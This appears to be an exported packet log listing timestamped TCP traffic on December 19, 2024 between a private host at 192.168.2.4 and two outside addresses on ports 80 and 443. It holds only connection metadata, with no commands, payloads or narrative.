Dec 19, 2024 06:09:56.517570019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.517570019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.518321037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.518378019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.518414021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.518418074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.518426895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.518713951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.519239902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.519294977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.519306898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.519349098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.519356966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.519520044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.520136118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.520190001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.520226002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.520237923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.520237923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.521015882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.521071911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.521092892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.521106958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.521157026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.521949053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.521997929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.522018909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.522037029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.522080898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.522080898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.522793055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.522847891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.522852898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.522885084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.522923946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.522923946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.523699999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.523755074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.523789883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.523802042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.523802042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.523886919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.524665117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.524699926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.524720907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.524736881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.524745941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.524801016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.525537014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.525592089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.525628090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.525640011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.525640011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.525672913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.526439905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.526529074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.526547909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.526567936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.526635885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.526707888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.527266026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.527331114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.527333975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.527370930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.527410030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.527410030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.528147936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.528209925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.528264999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.528301001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.528342962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.528342962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.529015064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.529069901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.529073000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.529105902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.529149055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.529149055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.529901028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.529957056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.529967070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.529992104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.530016899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.530119896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.530860901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.530930996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.530935049 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.530946970 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.530965090 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.531007051 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.531119108 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.531119108 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.531119108 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.531147003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.531164885 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.531218052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.531245947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.531254053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.531277895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.531368017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.531984091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.532040119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.532040119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.532077074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.532119036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.532119036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.532850981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.532907009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.532942057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.532946110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.532946110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.533005953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.533766985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.533812046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.533823013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.533859968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.533876896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.533904076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.534646034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.534698009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.534698963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.534734964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.534775019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.534775019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.535563946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.535618067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.535639048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.535654068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.535692930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.535692930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.536473036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.536540031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.536565065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.536576033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.536648035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.536695957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.537309885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.537367105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.537391901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.537403107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.537439108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.537439108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.538189888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.538249016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.538312912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.538503885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.543900013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.544002056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.544007063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.544051886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.544058084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.544161081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.544362068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.544431925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.544528961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.544893980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.544982910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.544991970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.545150995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.560333014 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.560364008 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.560417891 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.560439110 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.560472012 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.588541031 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.588587999 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.588857889 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.588922977 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.629616022 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.706474066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.706548929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.706590891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.706836939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.706850052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.706940889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.706975937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.707098961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.707098961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.707727909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.707815886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.707894087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.709692955 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.709729910 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.709753990 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.709769964 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.709907055 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.709908009 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.709979057 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.710040092 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.710611105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.710663080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.710701942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.710715055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.710715055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.710756063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.710938931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.711011887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.711047888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.711060047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.711060047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.711122036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.711731911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.711787939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.711827040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.711827040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.712074995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.712129116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.712165117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.712198973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.712984085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.713041067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.713077068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.713114977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.713129997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.716612101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717031956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717149019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.717175961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717814922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717848063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717883110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717890024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.717919111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717941999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.717941999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.717956066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.717982054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.718010902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.718034029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.718080997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.718137980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.718172073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.718206882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.718235016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.718249083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.719300032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.719352007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.719388008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.719419003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.719435930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.720124960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.720307112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.720341921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.720369101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.721147060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.721182108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.721219063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.721220970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.721220970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.721936941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.722021103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.722106934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.722141981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.722270012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.722836018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.722872019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.722907066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.722918034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.722918034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.722959042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.723728895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.723763943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.723798037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.723802090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.723834038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.723834038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.724600077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.724634886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.724689007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.727735043 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.727765083 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.727812052 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.727929115 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.727929115 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.727930069 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.728005886 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.728079081 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.746923923 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.746992111 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.747100115 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.747100115 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.747134924 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.747185946 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.763607979 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.763655901 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.763706923 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.763706923 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.763724089 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.763773918 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.779649019 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.779691935 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.779817104 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.779817104 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.779850006 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.779903889 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.799493074 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.799542904 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.799663067 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.799663067 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.799695015 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.799742937 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.900959015 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.901021004 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.901045084 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.901112080 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.901149988 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.901200056 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.914602995 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.914652109 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.914668083 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.914684057 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.914722919 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.914722919 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.929050922 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.929099083 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.929121017 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.929135084 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.929183960 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.929184914 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.940862894 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.940910101 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.940944910 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.940958023 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.940989017 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.941016912 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.952944994 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.952991009 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.953022003 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.953035116 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.953062057 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.953082085 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.964471102 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.964524984 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.964554071 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.964566946 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.964596987 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.964628935 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.976834059 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.976881981 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.976907969 CET	49875	443	192.168.2.4	185.199.111.133
